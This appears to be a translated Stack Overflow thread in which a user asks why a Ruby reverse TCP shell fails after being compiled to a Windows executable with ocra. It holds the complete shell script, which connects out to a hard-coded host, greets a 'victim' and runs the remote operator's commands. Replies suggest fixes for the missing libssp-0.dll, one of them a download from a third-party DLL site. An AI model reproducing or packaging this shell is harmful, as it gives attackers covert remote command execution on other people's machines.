我正在尝试用ocra编译一个用ruby编写的简单的反向TCP shell。
代码非常简单:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end我使用:ocra RevShell.rb --verbose构建它
我没有收到任何错误消息,但每当我尝试运行.exe时,我都会收到以下错误:"C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not .exe“
我是不是遗漏了什么?Ocra应该会自己检查所需的要求,并将其添加到我仍然怀念的dll的exe中。
谢谢你的帮助。
发布于 2020-11-10 04:08:53
也许您没有安装libssp-0.dll文件。你可以从https://www.dll-files.com/libssp-0.dll.html下载它,然后把文件放在错误所说的地方。
发布于 2020-12-05 15:46:18
使用--dll ruby_builtin_dlls\libssp-0.dll。
有关更多详细信息,请参阅https://github.com/larsch/ocra/issues/168。
发布于 2020-11-25 08:13:42
我在RubyInstaller安装的Ruby2.6和2.7 (x64)上也遇到了同样的问题。
在我的例子中,libssp-0.dll肯定存在于ruby_builtin_dlls目录中,但不知何故,它没有包含在编译后的exe中,而同一目录中的其他all都包含在内。
暂时,我可以使用Ruby2.7的(x86)版本来避免这个问题。
https://stackoverflow.com/questions/64368535
复制相似问题